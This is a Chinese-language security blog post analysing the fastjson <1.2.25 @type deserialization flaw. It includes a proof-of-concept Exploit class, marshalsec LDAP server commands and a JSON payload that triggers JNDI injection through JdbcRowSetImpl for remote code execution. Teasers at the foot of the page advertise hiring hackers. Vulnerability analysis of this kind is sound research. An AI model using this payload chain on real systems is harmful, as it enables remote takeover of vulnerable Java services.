fastjson小于1.2.25版本反序列漏洞分析(CVE

访客3年前黑客工具500

本文将对fastjson<1.2.25反序列漏洞进行漏洞原理分析、本地调试验证等,后续将以fastjson组件版本为时间轴,持续发布漏洞演变历程文章。

(1)影响范围

Fastjson<1.2.25

(2)漏洞成因

@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter *** 则调用set *** ,反之调用get *** 。

import java.util.Map;

public class User {
    private String name;
    private Map map;
    public String getName() {
        System.out.println("getName is running ...");
        return name;
    }
    public void setName(String name) {
        System.out.println("setName is running ...");
        this.name=name;
    }
    @Override
    public String toString() {
        return "User

经过代码追踪,发现属性赋值是在FieldDeserializer.java的setValue函数中,因为map属性不存在set *** ,故在setValue函数中fieldInfo.getOnly为true,method为getmap ***

public void setValue(Object object, Object value) {
    if (value==null //
        && fieldInfo.fieldClass.isPrimitive()) {
        return;
    }
    try {
        Method method=fieldInfo.method;
        if (method !=null) {
            if (fieldInfo.getOnly) {//set *** 不存在,根据类型调用get *** 
                if (fieldInfo.fieldClass==AtomicInteger.class) {
                    AtomicInteger atomic=(AtomicInteger) method.invoke(object);
                    if (atomic !=null) {
                        atomic.set(((AtomicInteger) value).get());
                    }
                } else if (fieldInfo.fieldClass==AtomicLong.class) {
                    AtomicLong atomic=(AtomicLong) method.invoke(object);
                    if (atomic !=null) {
                        atomic.set(((AtomicLong) value).get());
                    }
                } else if (fieldInfo.fieldClass==AtomicBoolean.class) {
                    AtomicBoolean atomic=(AtomicBoolean) method.invoke(object);
                    if (atomic !=null) {
                        atomic.set(((AtomicBoolean) value).get());
                    }
                } else if (Map.class.isAssignableFrom(method.getReturnType())) {
                    Map map=(Map) method.invoke(object);
                    if (map !=null) {
                        map.putAll((Map) value);
                    }
                } else {
                    Collection collection=(Collection) method.invoke(object);
                    if (collection !=null) {
                        collection.addAll((Collection) value);
                    }
                }
            } else {//set *** 存在,调用set *** 
                method.invoke(object, value);
            }
            return;
        } 

调试可以发现调用链如下:

1615511116_604abe4c0323fd766980e.png!small

(2)漏洞利用,经过上述分析,满足一下任意条件可进行RCE

找到一个类,存在一个属性,属性类型为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一种类型,定义了属性的get *** 但未定义set *** ,在get *** 中可构造gadget链达到代码执行目的。

找到一个类,存在一个属性,定义了set *** ,在 *** 中可构造gadget链达到代码执行目的。

找到一个类JdbcRowSetImpl,在变量autoCommit的set函数中,会调用connect函数:

1615511171_604abe830d9a152c68df1.png!small

connect函数中,会获取private成员变量dataSourceName,作为lookup函数的参数进行服务获取,这时JNDI注入攻击走起:

1615511199_604abe9f5672aa2715701.png!small

步骤1:启动HTTP服务并放置构造函数具有RCE的攻击类,启动LDAP服务

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;

public class Exploit extends UnicastRemoteObject implements ObjectFactory, Remote {

    public Exploit() throws IOException {
        System.out.println("Exploit");
        Runtime.getRuntime().exec("calc");
    }
    
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("getObjectInstance");
        Runtime.getRuntime().exec("calc");
        return null;
    }
}
python -m SimpleHTTPServer 80
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777

步骤2:触发json解析,实现计算器弹窗

String className="com.sun.rowset.JdbcRowSetImpl";
String dataSourceName="ldap://127.0.0.1:7777/any";
json="{"@type":"" + className + ""," + ""dataSourceName":"" + dataSourceName + ""," + ""autoCommit":true" + "}";
//JDK 8u191及以后,默认为false,以下为了调试手工改了配置
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
*** ON.parse(json);

针对高版本JDK,默认配置限制了远程factory类的下载,实际环境中可以用LDAP+本地反序列化的方式去进行利用。

本文作者:CTCS安全攻防团队? pom

相关文章

用户运营:如何在繁杂的工作中找到核心提高效率?

用户运营:如何在繁杂的工作中找到核心提高效率?

用户运营的事情由于涉及到用户的方方面面,常常会被从业者被认为很杂,既包括引入新用户,也有譬如打点QQ群和微信群的焦点用户维系。如安在繁杂的事情中找到最焦点的点,提高运营效率,这就需要搭建一套完善的用户...

全网营销的优势和价值

全网营销有什么优势? 1,提升品牌形象:互联网时代网购的人群急剧增加,企业官方网站,搜索引擎快照,网络旗舰店,分销专卖店,专营店等等都是企业对外展示出售的重要窗口 2,规范销售市场:官方商城的建设...

腾讯黑客专家都有谁,黑客能黑赌博软件吗

腾讯黑客专家都有谁,黑客能黑赌博软件吗

一、腾讯专家都有谁黑客接单流程 1、黑客方法在DOS或Windows机器上学习黑客就像把铁绑在腿上学习跳舞一样。腾讯专家都有谁能黑赌博软件吗黑客基本上是一种业余爱好,通常是因为他们的兴趣,而不是为了赚...

康辉又怼美国了怎么回事?康辉又怼美国了说了什么

康辉又怼美国了怎么回事?康辉又怼美国了说了什么

10月16日,针对美国国会众议院通过所谓的涉港法案,《新闻联播》播发多篇报道和评论亮明中国态度。对美国一些政客,康辉又开“怼”了! 康辉: 美国国会和美国的一些政客,睁眼说瞎话的水平真的是没谁...

怎么抢红包最快(目前公认抢红包最快的软件)

怎么抢红包最快(目前公认抢红包最快的软件)

昨天晚上 8,9 点,支付宝钱包开展了央视春晚大红包前的一轮“演练”,据悉,二轮红包与福卡均在 3 分鐘内被网民咻完,”咻一咻”互动交流总频次 298 亿个,是上年春节联欢晚会大红包互动交流总频次...

找黑客拿站-黑客真的能用昵称找到微信号

找黑客拿站-黑客真的能用昵称找到微信号

找黑客拿站相关问题 怎样自学黑客 黑网站相关问题 二维码登录qq如何防黑客 通过姓名查身份证号码(通过姓名查身份证号码同名的怎么处理)...